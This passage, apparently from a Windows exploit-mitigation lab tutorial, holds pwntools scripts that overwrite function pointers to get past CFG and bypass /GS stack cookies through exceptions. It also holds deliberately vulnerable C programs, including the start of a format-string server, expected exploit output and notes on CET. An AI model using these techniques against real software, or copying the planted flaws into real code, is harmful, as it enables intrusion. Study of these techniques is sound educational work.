exploits\\\\sc_3_funcptr.py --exploit\")\n    else:\n        log.error(\"Could not parse addresses from output\")\n\n\ndef exploit():\n    \"\"\"Overwrite handler with dangerous_handler address (auto-parsed).\"\"\"\n    binary_path = r'C:\\Windows_Mitigations_Lab\\bin\\func_ptr_overwrite.exe'\n\n    log.info(\"Phase 1: reading addresses from binary output...\")\n    p = process([binary_path])\n\n    output = b\"\"\n    try:\n        output = p.recvuntil(b\"Enter request data:\", timeout=5)\n    except:\n        log.error(\"Timeout waiting for prompt\")\n        p.close()\n        return\n\n    # Auto-parse dangerous_handler address and offset\n    danger_addr = parse_address(output, 'dangerous_handler')\n    offset = parse_offset(output)\n\n    if not danger_addr:\n        log.error(\"Could not parse dangerous_handler address\")\n        p.close()\n        return\n\n    log.success(f\"dangerous_handler = 0x{danger_addr:016X} (auto-parsed)\")\n    log.info(f\"Handler at offset {offset} from buffer start\")\n\n    # Build payload:\n    # data[0..8]       = \"calc.exe\\0\" (command for system())\n    # data[9..off-1]   = padding\n    # data[off..off+7] = p64(dangerous_handler)  -> overwrites handler\n    command = b\"calc.exe\\x00\"\n    padding = b\"B\" * (offset - len(command))\n    payload = command + padding + p64(danger_addr)\n\n    log.info(f\"Payload ({len(payload)} bytes):\")\n    log.info(f\"  [0..{len(command)-1}]     command: {command}\")\n    log.info(f\"  [{len(command)}..{offset-1}]  padding: {len(padding)} bytes\")\n    log.info(f\"  [{offset}..{offset+7}] handler: 0x{danger_addr:X}\")\n\n    p.send(payload)\n    p.shutdown('send')\n\n    try:\n        output = p.recvall(timeout=5)\n        log.info(f\"Output:\\n{output.decode(errors='replace')}\")\n\n        if b\"[DANGER]\" in output:\n            log.success(\"Function pointer overwrite worked!\")\n            log.success(\"dangerous_handler called system(\\\"calc.exe\\\")\")\n        elif b\"[SAFE]\" in output:\n            log.failure(\"Still calling safe_handler - offset wrong\")\n    except:\n        pass\n\n    try:\n        p.wait(timeout=3)\n    except:\n        pass\n\n    if p.returncode is not None:\n        exit_code = p.returncode & 0xFFFFFFFF\n        log.info(f\"Exit code: {hex(exit_code)}\")\n        if exit_code == 0xc0000409:\n            log.info(\"GS cookie check fired AFTER handler ran (expected)\")\n\n    p.close()\n\n\ndef cfg_test():\n    \"\"\"\n    Demonstrate the difference between coarse-grained CFG and fine-grained.\n\n    CFG maintains a bitmap of ALL valid function entry points. It checks:\n      \"Is the target address a valid function start?\" — YES\u002FNO.\n    It does NOT check:\n      \"Is this specific call site allowed to call this specific function?\"\n\n    So redirecting handler from safe_handler -> dangerous_handler WORKS\n    even with CFG, because dangerous_handler is a valid function entry.\n\n    But redirecting to a MID-FUNCTION address (e.g., dangerous_handler+4)\n    FAILS because that's not in the CFG bitmap.\n\n    This test proves both behaviors.\n    \"\"\"\n    binary_path = r'C:\\Windows_Mitigations_Lab\\bin\\func_ptr_overwrite_cfg.exe'\n\n    log.info(\"CFG Test: demonstrating coarse-grained vs fine-grained\")\n    log.info(\"\")\n\n    # --- Test 1: redirect to dangerous_handler (valid function entry) ---\n    log.info(\"=\" * 60)\n    log.info(\"TEST 1: Redirect to dangerous_handler (valid function entry)\")\n    log.info(\"=\" * 60)\n\n    p = process([binary_path])\n    output = b\"\"\n    try:\n        output = p.recvuntil(b\"Enter request data:\", timeout=5)\n    except:\n        pass\n\n    danger_addr = parse_address(output, 'dangerous_handler')\n    offset = parse_offset(output)\n\n    if not danger_addr:\n        log.error(\"Could not parse dangerous_handler\")\n        p.close()\n        return\n\n    log.info(f\"dangerous_handler = 0x{danger_addr:X} (valid function entry)\")\n\n    command = b\"calc.exe\\x00\"\n    padding = b\"B\" * (offset - len(command))\n    payload = command + padding + p64(danger_addr)\n    p.send(payload)\n    p.shutdown('send')\n\n    try:\n        out1 = p.recvall(timeout=5)\n        log.info(f\"Output:\\n{out1.decode(errors='replace')}\")\n        if b\"[DANGER]\" in out1:\n            log.success(\"CFG ALLOWED the call — target is a valid function entry!\")\n        elif b\"[SAFE]\" in out1:\n            log.failure(\"Still safe_handler\")\n    except:\n        pass\n\n    try:\n        p.wait(timeout=3)\n    except:\n        pass\n    exit1 = (p.returncode or 0) & 0xFFFFFFFF\n    log.info(f\"Exit code: {hex(exit1)}\")\n    p.close()\n\n    # --- Test 2: redirect to mid-function address (NOT a valid entry) ---\n    log.info(\"\")\n    log.info(\"=\" * 60)\n    log.info(\"TEST 2: Redirect to dangerous_handler+4 (mid-function, NOT in CFG bitmap)\")\n    log.info(\"=\" * 60)\n\n    p = process([binary_path])\n    output = b\"\"\n    try:\n        output = p.recvuntil(b\"Enter request data:\", timeout=5)\n    except:\n        pass\n\n    danger_addr = parse_address(output, 'dangerous_handler')\n    offset = parse_offset(output)\n    mid_func = danger_addr + 4  # NOT a function entry point\n\n    log.info(f\"dangerous_handler+4 = 0x{mid_func:X} (mid-function, invalid CFG target)\")\n\n    command = b\"calc.exe\\x00\"\n    padding = b\"B\" * (offset - len(command))\n    payload = command + padding + p64(mid_func)\n    p.send(payload)\n    p.shutdown('send')\n\n    try:\n        out2 = p.recvall(timeout=5)\n        log.info(f\"Output:\\n{out2.decode(errors='replace')}\")\n        if b\"[DANGER]\" in out2:\n            log.warning(\"Call went through — CFG didn't catch mid-function?\")\n    except:\n        pass\n\n    try:\n        p.wait(timeout=3)\n    except:\n        pass\n    exit2 = (p.returncode or 0) & 0xFFFFFFFF\n    log.info(f\"Exit code: {hex(exit2)}\")\n\n    # CFG violation triggers __fastfail(FAST_FAIL_GUARD_ICALL_CHECK_FAILURE)\n    # which raises STATUS_BREAKPOINT (0x80000003) via int 0x29\n    if exit2 in (0x80000003, 0xc0000409):\n        log.success(\"CFG BLOCKED the call — target is NOT a valid function entry!\")\n        if exit2 == 0x80000003:\n            log.info(\"  STATUS_BREAKPOINT via __fastfail (CFG kill mechanism)\")\n    elif exit2 == 0xc0000005:\n        log.success(\"Access Violation — mid-function jump crashed\")\n    else:\n        log.info(f\"Unexpected exit code (may still indicate CFG block)\")\n\n    p.close()\n\n    # --- Summary ---\n    log.info(\"\")\n    log.info(\"=\" * 60)\n    log.info(\"CONCLUSION:\")\n    log.info(\"  CFG is COARSE-GRAINED — it checks if the target is ANY valid\")\n    log.info(\"  function entry point, not whether THIS call site should call\")\n    log.info(\"  THAT specific function.\")\n    log.info(\"\")\n    log.info(\"  -> Redirect to another valid function: CFG ALLOWS (demonstrated!)\")\n    log.info(\"  -> Redirect to mid-function \u002F shellcode:  CFG BLOCKS\")\n    log.info(\"\")\n    log.info(\"  Fine-grained CFI (e.g., Clang CFI, LLVM type-based) would block\")\n    log.info(\"  the valid-function redirect too, by checking type signatures.\")\n    log.info(\"=\" * 60)\n\n\nif __name__ == \"__main__\":\n    if len(sys.argv) > 1 and sys.argv[1] == \"--exploit\":\n        exploit()\n    elif len(sys.argv) > 1 and sys.argv[1] == \"--cfg-test\":\n        cfg_test()\n    else:\n        discover()\n```\n\n**Expected Results**:\n\n```bash\n# Discovery:\nc:\\Windows_Mitigations_Lab> python exploits\\sc_3_funcptr.py\n#[*] Output:\n#    safe_handler      @ 0000000140001F8C\n#    dangerous_handler @ 00000001400043BD\n#    req.data          @ 000000000014F930\n#    req.handler       @ 000000000014F9B0 (offset 128 from data)\n#\n#[*] Rest:\n#    [*] Read 256 bytes\n#    [*] Processing request...\n#    [*] Handler points to: 6261616962616168  \u003C- cyclic at offset 128!\n\n# Exploitation (address auto-parsed — no manual update needed):\nc:\\Windows_Mitigations_Lab> python exploits\\sc_3_funcptr.py --exploit\n#[*] Phase 1: reading addresses from binary output...\n#[+] dangerous_handler = 0x00000001400043C7 (auto-parsed)\n#[*] Handler at offset 128 from buffer start\n#[*] Payload (136 bytes):\n#[*]   [0..8]     command: b'calc.exe\\x00'\n#[*]   [9..127]   padding: 119 bytes\n#[*]   [128..135]  handler: 0x1400043C7\n#[*] Output:\n#    [*] Read 136 bytes\n#    [*] Processing request...\n#    [*] Handler points to: 00000001400043C7\n#    [DANGER] Executing: calc.exe                \u003C- RCE!\n#[+] Function pointer overwrite worked!\n\n# All three builds: same result (including CFG build!)\n# Why? See CFG test below.\n\n# CFG coarse-grained test:\nc:\\Windows_Mitigations_Lab> python exploits\\sc_3_funcptr.py --cfg-test\n#[*] TEST 1: Redirect to dangerous_handler (valid function entry)\n#[+] CFG ALLOWED the call — target is a valid function entry!\n#[*] Exit code: 0x0\n#\n#[*] TEST 2: Redirect to dangerous_handler+4 (mid-function, NOT in CFG bitmap)\n#[+] CFG BLOCKED the call — target is NOT a valid function entry!\n#[*]   STATUS_BREAKPOINT via __fastfail (CFG kill mechanism)\n#[*] Exit code: 0x80000003\n#\n#[*] CONCLUSION:\n#[*]   CFG is COARSE-GRAINED — it checks if the target is ANY valid\n#[*]   function entry point, not whether THIS call site should call\n#[*]   THAT specific function.\n```\n\n| Build                        | \u002FGS | CFG | Target                | Result      | Why                                            |\n| ---------------------------- | --- | --- | --------------------- | ----------- | ---------------------------------------------- |\n| `func_ptr_overwrite.exe`     | OFF | OFF | `dangerous_handler`   | **RCE**     | No protection at all                           |\n| `func_ptr_overwrite_gs.exe`  | ON  | OFF | `dangerous_handler`   | **RCE**     | \u002FGS doesn't reorder struct members             |\n| `func_ptr_overwrite_cfg.exe` | ON  | ON  | `dangerous_handler`   | **RCE**     | CFG allows — target is a valid function entry  |\n| `func_ptr_overwrite_cfg.exe` | ON  | ON  | `dangerous_handler+4` | **Blocked** | CFG blocks — mid-function is not in CFG bitmap |\n\n> [!WARNING]\n> **CFG is coarse-grained!** It maintains a bitmap of valid function entry points and\n> checks \"is the target ANY valid function start?\" — not \"is this specific call site\n> allowed to call this specific function?\"\n>\n> This means redirecting `handler` from `safe_handler` to `dangerous_handler` **passes\n> CFG validation** because `dangerous_handler` is a legitimate function. Only calls to\n> addresses that are NOT function entries (shellcode, ROP gadgets, mid-function offsets)\n> are blocked.\n>\n> **Fine-grained CFI** (e.g., Clang's `-fsanitize=cfi`, LLVM type-based CFI) would block\n> this by checking that the function pointer's **type signature** matches the call site.\n> MSVC does not currently offer fine-grained CFI.\n>\n> **Key takeaway**: CFG stops shellcode injection and ROP chains via indirect calls, but\n> does NOT prevent redirecting between valid functions of compatible signatures.\n\n#### Technique 4: Exception-Based Bypass\n\nTrigger a controlled exception BEFORE the function epilogue runs the cookie check.\nThe cookie is only verified at function return (`__security_check_cookie`), so if an\nexception diverts control flow before that point, the cookie is never checked.\n\n> [!WARNING]\n> **x64 vs x86**: On x86, the classic version of this attack overwrites the SEH chain on\n> the stack to hijack exception handling. On x64 Windows, SEH is **table-based** (stored in\n> the read-only `.pdata` section), so SEH chain overwrites are impossible.\n>\n> On x64, the exception-based bypass instead demonstrates that the cookie check is skipped\n> entirely when an exception fires mid-function. The attacker doesn't gain code execution\n> through the exception handler itself, but through data already corrupted before the\n> exception (e.g., a function pointer in a struct that was called, or a variable that\n> controls a security decision).\n\n**Vulnerable Code**:\n\n```c\n\u002F\u002F exception_bypass.c\n\u002F\u002F Demonstrates: exception fires BEFORE cookie check, proving \u002FGS has a window\n\u002F\u002F of vulnerability between buffer overflow and function epilogue.\n\u002F\u002F\n\u002F\u002F This binary uses a struct with a flag field. The overflow corrupts the flag\n\u002F\u002F BEFORE an intentional null dereference triggers an exception. The __except\n\u002F\u002F handler checks the (now-corrupted) flag and grants elevated access.\n\u002F\u002F\n\u002F\u002F This is a data-only attack: no return address or function pointer corruption.\n\n#include \u003Cstdio.h>\n#include \u003Cstring.h>\n#include \u003Cwindows.h>\n#include \u003Cstdlib.h>\n\nstruct session {\n    char username[64];     \u002F\u002F offset 0   - overflow source\n    int is_admin;          \u002F\u002F offset 64  - overflow target (security flag)\n    char *profile_ptr;     \u002F\u002F offset 72  - will be NULL -> exception\n};\n\nvoid handle_request(const char *input) {\n    struct session sess;\n    sess.is_admin = 0;          \u002F\u002F Not admin by default\n    sess.profile_ptr = NULL;    \u002F\u002F Will cause exception when dereferenced\n\n    printf(\"[*] Session initialized: is_admin=%d\\n\", sess.is_admin);\n    fflush(stdout);\n\n    \u002F\u002F VULNERABILITY: copies more than 64 bytes into username[64]\n    \u002F\u002F Overflow corrupts is_admin and profile_ptr\n    memcpy(sess.username, input, strlen(input));\n\n    printf(\"[*] After input: is_admin=%d, profile_ptr=%p\\n\",\n           sess.is_admin, (void*)sess.profile_ptr);\n    fflush(stdout);\n\n    \u002F\u002F This __try\u002F__except block catches the null deref exception.\n    \u002F\u002F The cookie check at function return is NEVER reached because\n    \u002F\u002F exception handling transfers control to the __except block.\n    __try {\n        \u002F\u002F Dereference profile_ptr directly - WILL crash on NULL or garbage.\n        \u002F\u002F NOTE: printf(\"%s\", NULL) on MSVCRT prints \"(null)\" instead of\n        \u002F\u002F crashing, so we MUST use a direct memory read to trigger the\n        \u002F\u002F access violation.\n        char first = sess.profile_ptr[0];  \u002F\u002F ACCESS VIOLATION here!\n        printf(\"[*] Profile loaded: %c...\\n\", first);\n    }\n    __except(EXCEPTION_EXECUTE_HANDLER) {\n        printf(\"[!] Exception caught (null\u002Fbad pointer dereference)\\n\");\n        fflush(stdout);\n\n        \u002F\u002F BUG: checking a variable that was corrupted by the overflow!\n        \u002F\u002F The developer assumed is_admin couldn't be corrupted because\n        \u002F\u002F \u002FGS \"protects the stack\". But the overflow happened in a struct,\n        \u002F\u002F and the exception skipped the cookie check entirely.\n        if (sess.is_admin == 0x41414141) {\n            \u002F\u002F In a real app this might check is_admin != 0\n            printf(\"[!] ADMIN ACCESS GRANTED (is_admin was corrupted!)\\n\");\n            printf(\"[!] Executing admin command...\\n\");\n            fflush(stdout);\n            system(\"whoami\");  \u002F\u002F Simulating privileged action\n        } else {\n            printf(\"[*] Access denied (is_admin=%d)\\n\", sess.is_admin);\n        }\n    }\n    \u002F\u002F Cookie check would happen HERE at function return.\n    \u002F\u002F But if we entered the __except block, the corrupted cookie\n    \u002F\u002F was already \"handled\" by the exception mechanism.\n    printf(\"[*] Function returning (cookie check happens now)...\\n\");\n    fflush(stdout);\n}\n\nint main(int argc, char **argv) {\n    printf(\"=== Exception-Based \u002FGS Bypass Demo ===\\n\");\n    printf(\"struct session layout:\\n\");\n    printf(\"  username[64]  @ offset 0\\n\");\n    printf(\"  is_admin      @ offset 64\\n\");\n    printf(\"  profile_ptr   @ offset 72\\n\");\n    fflush(stdout);\n\n    if (argc > 1) {\n        handle_request(argv[1]);\n    } else {\n        printf(\"\\nUsage: exception_bypass.exe \u003Cinput>\\n\");\n        printf(\"Try: exception_bypass.exe %s\\n\",\n               \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n               \"AAAA\");\n    }\n    return 0;\n}\n```\n\n**Compile**:\n\n```bash\n# Save to C:\\Windows_Mitigations_Lab\\src\\exception_bypass.c\ncd C:\\Windows_Mitigations_Lab\n\n# WITH \u002FGS - to show exception bypasses cookie check\ncl \u002FGS \u002FZi \u002FD_CRT_SECURE_NO_WARNINGS src\\exception_bypass.c ^\n   \u002FFe:bin\\exception_bypass.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE:NO \u002FFIXED \u002FDEBUG\n\n```\n\n**Pwntools - Exception-Based Bypass**:\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nexploits\u002Fsc_4_exception.py\nException-Based Stack Cookie Bypass\n\nThe overflow corrupts a security flag (is_admin) in a struct. Before the\nfunction returns (where \u002FGS checks the cookie), a null pointer dereference\ntriggers an exception. The __except handler reads the corrupted is_admin\nflag and grants admin access.\n\nThis demonstrates that \u002FGS only protects at function RETURN. Any security\ndecision made between the overflow and the return is vulnerable.\n\nWorks on Windows 11 + CET: no return address or function pointer corruption.\nThis is a pure data-only attack targeting a security-critical variable.\n\nUsage:\n  python exploits\\\\sc_4_exception.py\n\"\"\"\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.os = 'windows'\ncontext.log_level = 'info'\n\n\ndef exploit():\n    binary_path = r'C:\\Windows_Mitigations_Lab\\bin\\exception_bypass.exe'\n\n    # struct session layout:\n    #   username[64]   @ offset 0     (64 bytes)\n    #   is_admin       @ offset 64    (4 bytes, int)\n    #   profile_ptr    @ offset 72    (8 bytes, after padding)\n    #\n    # Overflow username to set is_admin = 0x41414141 (\"AAAA\")\n    # profile_ptr gets corrupted too -> causes exception -> __except fires\n    # __except checks corrupted is_admin -> grants access\n\n    USERNAME_SIZE = 64\n    IS_ADMIN_OFFSET = 64\n    # profile_ptr is at offset 72 (after 4 bytes padding between int and pointer)\n    PROFILE_PTR_OFFSET = 72\n\n    # Fill username buffer\n    payload = b\"A\" * USERNAME_SIZE\n    # Overflow into is_admin: set to 0x41414141 (\"AAAA\")\n    payload += b\"A\" * 4  # is_admin = 0x41414141 (bytes 64-67)\n    # Padding between is_admin (int, 4 bytes) and profile_ptr (8-byte aligned)\n    payload += b\"A\" * 4  # padding bytes 68-71\n    # Corrupt profile_ptr with garbage address -> access violation in __try\n    # 0x4141414141414141 is unmapped -> guaranteed crash\n    payload += b\"A\" * 8  # profile_ptr = 0x4141414141414141 (bytes 72-79)\n\n    log.info(f\"Payload: {len(payload)} bytes\")\n    log.info(f\"  [0..63]   username: 64 x 'A'\")\n    log.info(f\"  [64..67]  is_admin: 0x41414141 ('AAAA')\")\n    log.info(f\"  [68..71]  padding:  4 x 'A'\")\n    log.info(f\"  [72..79]  profile_ptr: 0x4141414141414141 (garbage -> crash)\")\n\n    # Pass payload as command line argument\n    # Since it's all 'A' characters, no binary data issues with argv\n    p = process([binary_path, payload.decode('latin-1')])\n\n    try:\n        output = p.recvall(timeout=5)\n        decoded = output.decode(errors='replace')\n        log.info(f\"Output:\\n{decoded}\")\n\n        if \"ADMIN ACCESS GRANTED\" in decoded:\n            log.success(\"Exception-based bypass worked!\")\n            log.success(\"\u002FGS cookie was NEVER checked - exception skipped it\")\n            log.success(\"Corrupted is_admin was trusted in __except handler\")\n        elif \"Access denied\" in decoded:\n            log.failure(\"is_admin not corrupted correctly - adjust offset\")\n        elif \"c0000409\" in decoded.lower():\n            log.failure(\"\u002FGS caught the corruption before exception fired\")\n        else:\n            log.warning(\"Unexpected output - check manually\")\n    except:\n        pass\n\n    try:\n        p.wait(timeout=3)\n    except:\n        pass\n\n    if p.returncode is not None:\n        exit_code = p.returncode & 0xFFFFFFFF\n        log.info(f\"Exit code: {hex(exit_code)}\")\n        if exit_code == 0xc0000409:\n            log.info(\"GS cookie check fired at function return (after __except)\")\n            log.info(\"But the damage is done - admin action already executed!\")\n        elif exit_code == 0:\n            log.info(\"Clean exit - exception was handled, cookie was OK\")\n\n    p.close()\n\n\nif __name__ == \"__main__\":\n    exploit()\n```\n\n**Expected Results**:\n\n```bash\nc:\\Windows_Mitigations_Lab> python exploits\\sc_4_exception.py\n#[*] Payload: 80 bytes\n#[*]   [0..63]   username: 64 x 'A'\n#[*]   [64..67]  is_admin: 0x41414141 ('AAAA')\n#[*]   [68..71]  padding:  4 x 'A'\n#[*]   [72..79]  profile_ptr: 0x4141414141414141 (garbage -> crash)\n#[*] Output:\n#    === Exception-Based \u002FGS Bypass Demo ===\n#    struct session layout:\n#      username[64]  @ offset 0\n#      is_admin      @ offset 64\n#      profile_ptr   @ offset 72\n#    [*] Session initialized: is_admin=0\n#    [*] After input: is_admin=1094795585, profile_ptr=4141414141414141\n#    [!] Exception caught (null\u002Fbad pointer dereference)\n#    [!] ADMIN ACCESS GRANTED (is_admin was corrupted!)\n#    [!] Executing admin command...\n#    dev\\user                                     \u003C- whoami output\n#    [*] Function returning (cookie check happens now)...\n#[+] Exception-based bypass worked!\n#[+] \u002FGS cookie was NEVER checked - exception skipped it\n#[+] Corrupted is_admin was trusted in __except handler\n#[*] Exit code: 0x0\n```\n\n> [!IMPORTANT]\n> **Why This Works**: The `\u002FGS` cookie is checked in the function **epilogue** (right before\n> `ret`). If an exception occurs mid-function, the `__except` handler runs in a different\n> context. The corrupted `is_admin` variable is read in the handler before the cookie is\n> ever validated. This is a fundamental limitation of stack cookies — they're a **post-hoc**\n> check, not a prevention mechanism.\n>\n> **On x64**: This is NOT an SEH chain overwrite (impossible on x64). Instead, it's a\n> data-only attack where the exception mechanism happens to skip past the cookie check,\n> giving the attacker a window to exploit corrupted data.\n>\n> **CET**: Completely irrelevant here. No control flow is hijacked — the exception\n> mechanism works normally. The attacker only corrupted a data variable (`is_admin`).\n\n### x64 Exception Handling Deep Dive\n\nOn x64 Windows, exception handling is fundamentally different from x86.\nUnderstanding this is crucial since SafeSEH and SEH exploits don't apply.\n\n#### Table-Based Exception Handling\n\n```c\n\u002F\u002F x64 uses table-based unwinding stored in PE headers\n\u002F\u002F No SEH chain on stack = no SEH overwrites!\n\n\u002F\u002F .pdata section contains RUNTIME_FUNCTION entries:\ntypedef struct _RUNTIME_FUNCTION {\n    DWORD BeginAddress;      \u002F\u002F RVA of function start\n    DWORD EndAddress;        \u002F\u002F RVA of function end\n    DWORD UnwindData;        \u002F\u002F RVA of UNWIND_INFO\n} RUNTIME_FUNCTION, *PRUNTIME_FUNCTION;\n\n\u002F\u002F UNWIND_INFO describes how to unwind the function:\ntypedef struct _UNWIND_INFO {\n    UBYTE Version       : 3;\n    UBYTE Flags         : 5;\n    UBYTE SizeOfProlog;\n    UBYTE CountOfCodes;\n    UBYTE FrameRegister : 4;\n    UBYTE FrameOffset   : 4;\n    UNWIND_CODE UnwindCode[1];\n    \u002F\u002F Followed by optional exception handler info\n} UNWIND_INFO, *PUNWIND_INFO;\n```\n\n**Examining .pdata in WinDbg**:\n\n```bash\n# Dump RUNTIME_FUNCTION entries\n!dh -f myapp  # Show headers\nlm m myapp    # Get base address\n\n# Find .pdata section\n!dh myapp -s\n# Look for .pdata section\n\n# Dump some RUNTIME_FUNCTION entries\ndps myapp+\u003Cpdata_rva> L20\n\n# Examine specific function's unwind info\n.fnent myapp!vulnerable_function\n# Shows: BeginAddress, EndAddress, UnwindInfoAddress\n# And the actual unwind operations\n```\n\n**Why x64 Is More Secure**:\n\n```text\nx86 SEH:\n- Chain of handlers on STACK\n- Attacker controls stack -> controls handlers\n- Classic exploitation technique\n\nx64 Table-based:\n- Handler info in READ-ONLY .pdata section\n- Cannot overwrite via buffer overflow\n- Exception handling doesn't read attacker-controlled data\n\nResult: Classic SEH overwrite impossible on x64\n```\n\n#### Vectored Exception Handlers (VEH)\n\nVEH is an alternative that exists on both x86 and x64:\n\n```c\n\u002F\u002F VEH registration (application can add custom handlers)\nPVOID WINAPI AddVectoredExceptionHandler(\n    ULONG First,                          \u002F\u002F 1 = first handler, 0 = last\n    PVECTORED_EXCEPTION_HANDLER Handler   \u002F\u002F Callback function\n);\n\n\u002F\u002F VEH handlers stored in ntdll:\n\u002F\u002F - LdrpVectorHandlerList (doubly linked list in heap)\n\u002F\u002F - If attacker can corrupt heap -> corrupt VEH list\n\u002F\u002F - But... heap has its own protections now\n```\n\n**VEH Internal Structure**:\n\n```c\n\u002F\u002F Internal VEH entry structure (undocumented)\ntypedef struct _VECTORED_HANDLER_ENTRY {\n    LIST_ENTRY List;                       \u002F\u002F Forward\u002Fbackward links\n    PVOID      Unknown1;                   \u002F\u002F Reserved\n    ULONG      Refs;                       \u002F\u002F Reference count\n    PVECTORED_EXCEPTION_HANDLER Handler;   \u002F\u002F The actual handler!\n} VECTORED_HANDLER_ENTRY;\n\n\u002F\u002F Located via:\n\u002F\u002F ntdll!LdrpVectorHandlerList\n\u002F\u002F ntdll!RtlpCallVectoredHandlers\n```\n\n**WinDbg VEH Analysis**:\n\n```bash\n# Find VEH list\nx ntdll!LdrpVectorHandlerList\ndps ntdll!LdrpVectorHandlerList L4\n\n# Each entry points to VECTORED_HANDLER_ENTRY\n# Handler offset is +0x18 on x64\n\ndt ntdll!_LIST_ENTRY poi(ntdll!LdrpVectorHandlerList)\n```\n\n### Intel CET Shadow Stack\n\nIntel Control-flow Enforcement Technology provides **hardware-backed** return address protection,\nmaking stack cookie bypasses significantly harder.\n\n#### How Shadow Stack Works\n\n```text\nNormal Stack (writable):          Shadow Stack (read-only to user):\n┌─────────────────────┐           ┌─────────────────────┐\n│   Local Variables   │           │                     │\n├─────────────────────┤           │                     │\n│   Saved RBP         │           │                     │\n├─────────────────────┤           ├─────────────────────┤\n│   Return Address    │ --------> │   Return Address    │\n└─────────────────────┘           └─────────────────────┘\n\nCALL instruction:\n  1. Pushes return address to normal stack\n  2. Pushes return address to shadow stack\n\nRET instruction:\n  1. Pops return address from normal stack\n  2. Pops return address from shadow stack (SSP)\n  3. If they don't match -> #CP (Control Protection) exception\n  4. Process terminated\n```\n\n#### CET Instructions\n\n```asm\n; New instructions for shadow stack\n\nINCSSP reg    ; Increment shadow stack pointer (adjust SSP)\nRDSSP  reg    ; Read shadow stack pointer into register\nSAVEPREVSSP   ; Save previous SSP (for context switches)\nRSTORSSP mem  ; Restore SSP from memory\nWRSS   mem,reg; Write to shadow stack (privileged\u002Frestricted)\nWRUSS  mem,reg; Write to user shadow stack (ring 3, restricted)\n\n; These are highly restricted - user code can't freely modify shadow stack\n```\n\n#### CET-Aware Code\n\n```c\n\u002F\u002F Check if CET is enabled\n#include \u003Cintrin.h>\n\nBOOL IsCETEnabled() {\n    int cpuInfo[4];\n    __cpuid(cpuInfo, 7);\n\n    \u002F\u002F CET_SS (Shadow Stack) is bit 7 of ECX from CPUID leaf 7\n    return (cpuInfo[2] & (1 \u003C\u003C 7)) != 0;\n}\n\n\u002F\u002F Check process CET status\n#include \u003Cwindows.h>\n\nBOOL IsProcessCETEnabled() {\n    PROCESS_MITIGATION_USER_SHADOW_STACK_POLICY policy = {0};\n\n    if (GetProcessMitigationPolicy(\n            GetCurrentProcess(),\n            ProcessUserShadowStackPolicy,\n            &policy,\n            sizeof(policy))) {\n        return policy.EnableUserShadowStack;\n    }\n    return FALSE;\n}\n```\n\n**Enabling CET for Your Process**:\n\n```c\n\u002F\u002F Enable CET at process creation\nSTARTUPINFOEX si = {0};\nsi.StartupInfo.cb = sizeof(si);\n\nSIZE_T size = 0;\nInitializeProcThreadAttributeList(NULL, 1, 0, &size);\nsi.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(size);\nInitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);\n\nDWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY2_CET_USER_SHADOW_STACKS_ALWAYS_ON;\nUpdateProcThreadAttribute(\n    si.lpAttributeList,\n    0,\n    PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY,\n    &policy,\n    sizeof(policy),\n    NULL,\n    NULL\n);\n\nCreateProcess(..., &si, ...);\n```\n\n#### CET Bypass Considerations\n\n```text\nWith CET Shadow Stack, classic ROP is BLOCKED (not just harder):\n\n- Return address overwrite -> shadow stack mismatch -> process terminated\n- Classic ROP chains are impossible (every RET is validated)\n- __fastfail triggers STATUS_BREAKPOINT (0x80000003) via int 0x29\n- No user-mode recovery — kernel kills the process immediately\n\nWhat still works (proven in Techniques 1-4 above):\n+ Struct-based function pointer overwrites (indirect CALL, not RET)\n+ Data-only attacks (corrupt security flags, not code pointers)\n+ Exception-based bypasses (skip cookie check via __except)\n+ JOP (Jump-Oriented Programming) — doesn't use RET\n+ COP (Call-Oriented Programming) — uses CALL, not RET\n\nWhat does NOT help against data-only attacks:\n- CET shadow stack (only protects RET, not indirect CALL)\n- CFG coarse-grained check (allows redirect between valid functions)\n- \u002FGS cookies (struct members aren't reordered)\n```\n\n**CET + IBT (Indirect Branch Tracking)**:\n\n```text\nFull CET includes IBT (Indirect Branch Tracking):\n- Indirect CALL\u002FJMP must land on ENDBR64 instruction\n- Prevents arbitrary indirect jumps to mid-function locations\n- Further restricts JOP\u002FCOP attacks\n\nENDBR64 instruction:\n- Marks valid indirect branch targets\n- Compiler inserts at function entries\n- Gadgets that don't start with ENDBR64 are invalid\n\nWindows IBT status:\n- Windows 11 supports CET shadow stacks (User Shadow Stacks)\n- IBT enforcement is not yet widely enabled on Windows userspace\n- Linux has enabled IBT on kernel (since 5.18) and can enforce on userspace\n- When IBT is enabled, it provides similar protection to CFG for indirect calls\n  but at the hardware level with ENDBR64 validation\n```\n\n### Exploitation Scenarios\n\n#### Scenario 1: Multi-Stage Cookie Leak and Data-Only Attack\n\nExploit chain for a vulnerable server. This demonstrates the\nfull attack flow: format string leak -> identify cookie\u002Fpointers -> exploit.\n\n**Vulnerable Server (Full Example)**:\n\n```c\n\u002F\u002F realworld_server.c - More realistic vulnerable server\n#include \u003Cwinsock2.h>\n#include \u003Cws2tcpip.h>\n#include \u003Cstdio.h>\n#include \u003Cstring.h>\n#include \u003Cstdlib.h>\n\n#pragma comment(lib, \"ws2_32.lib\")\n\n#define PORT 31337\n#define MAX_CLIENTS 10\n\ntypedef struct {\n    char username[64];\n    char session_token[32];\n    int privilege_level;\n} Session;\n\ntypedef struct {\n    char command[16];\n    char args[128];\n    char padding[64];\n} Request;\n\n\u002F\u002F Global session storage\nSession* active_sessions[MAX_CLIENTS];\n\n\u002F\u002F Log function with format string vulnerability\n\u002F\u002F BUG: sends formatted output back to client, leaking stack values\nvoid log_message(SOCKET client, const char* format, ...) {\n    char buffer[512];\n    va_list args;\n    va_start(args, format);\n    _vsnprintf(buffer, sizeof(buffer), format, args);\n    va_end(args);\n    buffer[sizeof(buffer) - 1] = '\\0';\n    printf(\"[LOG] %s\\n\", buffer);\n    \u002F\u002F BUG: sends raw formatted output to client (attacker sees leaked values!)\n    send(client, buffer, (int)strlen(buffer), 0);\n    send(client, \"\\n\", 1, 0);\n}\n\n\u002F\u002F Vulnerable: Format string in logging\nvoid handle_login(SOCKET client, char* data) {\n    char response[256];\n    char username[64];\n\n    \u002F\u002F 